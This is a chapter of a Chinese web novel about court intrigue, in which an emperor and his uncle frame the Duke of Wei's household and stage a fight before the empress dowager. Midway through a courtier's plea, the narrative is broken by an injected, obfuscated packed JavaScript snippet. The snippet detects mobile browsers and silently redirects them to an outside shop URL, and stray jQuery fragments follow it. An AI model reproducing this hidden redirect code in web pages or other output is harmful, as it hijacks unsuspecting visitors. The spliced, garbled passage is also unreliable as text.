“我的天,你这招也太狠了吧!怎么让你想出来的?”


    明惠帝连连惊呼,满眼膜拜,赞不绝口,然后说:“我觉得你不应该叫赵咎,你应该叫山人。”


    “?”


    “因为山人自有妙计~”明惠帝一本正经。


    “……”赵咎差点笑喷。


    简直神经。


    明惠帝越想越妙,啧啧称奇道:“难怪阿父老夸你,我以前一直觉得阿父偏心,现在看,偏心也是很正常的事情。”


    “都说外甥像舅,我怎么一点儿也不像你?”


    赵咎仔细端详他好一会儿,勉为其难道:“其实你也不差。”


    明惠帝就等着他这句话呢,立马道:“是吗?我也这么觉得!”


    他一脸沾沾自喜。


    赵咎:“……”


    只是礼貌性地夸赞。


    谁让你当真了?


    戌时将至。


    赵咎心里惦记姜璎,不想留在宫里,他把奏折推到一边,起身往外走。


    明惠帝喊他:“你去哪儿?”


    赵咎很没良心地说:“你自己待着吧,我要回去看阿池。”


    明惠帝:“???”


    不是,就这么走了?


    这对吗?


    明惠帝忽然想起来,“姜璎在卫国公府啊,你怎么去看他?不怕被赵家人发现?”


    赵咎脚步一顿,若无其事地回来,继续坐下。


    “算了,我陪你看奏折。”


    明惠帝鄙夷地看着他。


    到底是谁陪谁啊?


    “你自己待着吧,我去看看浓浓睡下没有。”明惠帝起身,挥挥衣袖,云淡风轻又暗藏炫耀。


    傻眼了吧?


    现在他才是有媳妇的那一个!


    赵咎:“……”


    明惠帝扳回一局,高高兴兴,屁颠屁颠地去找姜珞。


    赵咎在密室待了两日。


    第三日的时候,明惠帝安排的戏码登场了。


    禁军亲自上阵,将卫国公府搜了个底朝天,终于在赵哲的书房找到了一些见不得人的书信证据。


    明惠帝勃然大怒。


    摔碎了一块砚台。


    “好一个赵哲!好一个卫国公府!”明惠帝冷冷道,直接把那些罪证甩到卫国公脸上,用这个极具羞辱性的行为,宣泄着心中的怒火。


    “亏朕还一直相信赵哲,你们卫国公府……当真是好样的!”


    “来人——”


    明惠帝面容冷酷,眼中星火明灭,似挣扎犹豫,但最后还是归于沉寂,他道:“卫国公府成年男子,一律打入大牢,女眷及孩子,不得踏出家门半步!”


    “陛下?”


    “陛下!”


    惊呼声此起彼伏。


    卫国公的门生、好友、姻亲,全都站出来替他说话。


    陆宣觉得有些蹊跷,迟疑着,上前一步道:“陛下,臣斗胆,可否看一眼从赵二郎书房搜出来的罪证?”


    明惠帝准许了。


    他依旧冷冷地盯着卫国公,想到他以前对赵咎的不公,怒气便如有实质。


    简直不要太真情实感。


    就算亲娘来了,也找不出任何做假的痕迹。


    卫国公神情僵硬地捡起地上的书信证据,递给陆宣。


    赵咨担忧地看着父亲。


    他想要为二弟求情,赵哲顶多就是重情义,但绝不可能有忤逆犯上的嫌疑!


    卫国公一个眼神制止了长子,深吸一口气,努力让自己镇定下来,不管这份罪证从何而来,他唯一可以确定的是——陛下对他不满已久!


    这次是完全不想容忍了。


    所以才会当这么多朝臣的面,让他没脸!


    卫国公心寒不已。


    这可是他的亲外孙。


    赵太后还活得好好的,他就敢这么做,要是哪天赵太后**,他岂不是还要把卫国公府抄家灭族?


    陆宣已经看完了那些书信,确实是赵哲的字迹没错,但是,越是如此,越让人起疑。


    “陛下!这其中定然有什么误会,假使赵二郎真的做了什么,他又岂会将这些要人命的东西,堂而皇之藏在自己书房?”


    常山讥笑道:“陆二郎,你到底还太年轻了。不知道有句话说得好,最危险的地方,就是最安全的地方。人证物证俱在,还有什么可狡辩的?”


    又有人小心翼翼提起赵咎。


    明惠帝面色难看,咬牙切齿道:“传令下去,押送赵咎入京!如有反抗……格杀勿论!”


    最后四个字杀气横生。


    令人无端后背发凉。


    朝臣们沉默了。


    陆宣张了张嘴,跪下求情道:“陛下,安奉才击退匈奴,若是让赵咎回来


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055610|173897||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,难保不会使得边境动荡。赵家忠君爱国,赵咎又才立了功,这其中一定有什么误会!”


    杨谏回过神来,虽然一直不喜欢赵堰这个虚伪老东西,但他也没想到赵家倒台的时刻来的这么快。


    他迟疑许久,方才小心翼翼道:“陛下,安奉县令一职,不可空缺啊。”


    明惠帝像是被气到了,恶狠狠地瞪了一眼杨谏,又恶狠狠道:“让常无端先代行安奉县令一职!”


    杨谏:“……”


    不是,瞪他干啥?


    嘴上说格杀勿论,其实心里还是舍不得吧?


    我要不提,你是不是就准备给赵咎保留官职了?!


    杨谏有无数句脏话想说,但也只是想想。


    要真说了,


    他三族就没了……


    今日的朝堂不可谓不轰动。


    赵太后听说卫国公父子三人都被关进大牢,也坐不住了,亲自来找明惠帝。


    她怀疑这是儿子和幼弟联起手来做的局。


    目的就是为了逼她就范。


    赵太后没怀疑错。


    但她实在低估了舅甥俩的丧心病狂。


    她到密室时,正好看见舅甥俩扭打一地,赵咎狠狠甩了明惠帝一巴掌,明惠帝反手给他一拳。


    闷哼声和重物落地的声音交织。


    “你们、你们在做什么?!”赵太后不可置信道。两人从小到大好得能穿一条裤子,怎么忽然就变成这样?


    赵咎抬手抹去嘴角血丝,咬着牙,下颚紧绷,“阿姐,你来的正好,高忱疯了!他想让我……”


    明惠帝恶狠狠瞪着他,怒声道:“你别不识抬举!一旦卫国公府坐实了忤逆犯上的罪名,你也会被赵堰赵哲他们几个连累!”


    “到时候,别说阿娘,就是我也保不了你!”


    “那我也不要入赘姜家!你这是在逼我和赵家割席!”


    赵咎胸口不断起伏,吐出一口血沫,冷静道,“二兄不会做那种事的,我相信他。一定是有人诬陷。”


    明惠帝冷笑道:“诬陷?”


    赵太后从他的语气中听出一丝不对劲,目光紧紧地盯着明惠帝,“湛奴,难道连你也不信赵家?”


    明惠帝冷冷道:“不信!”


    赵太后失声道:“那可是你的嫡亲外祖父,你的阿舅!”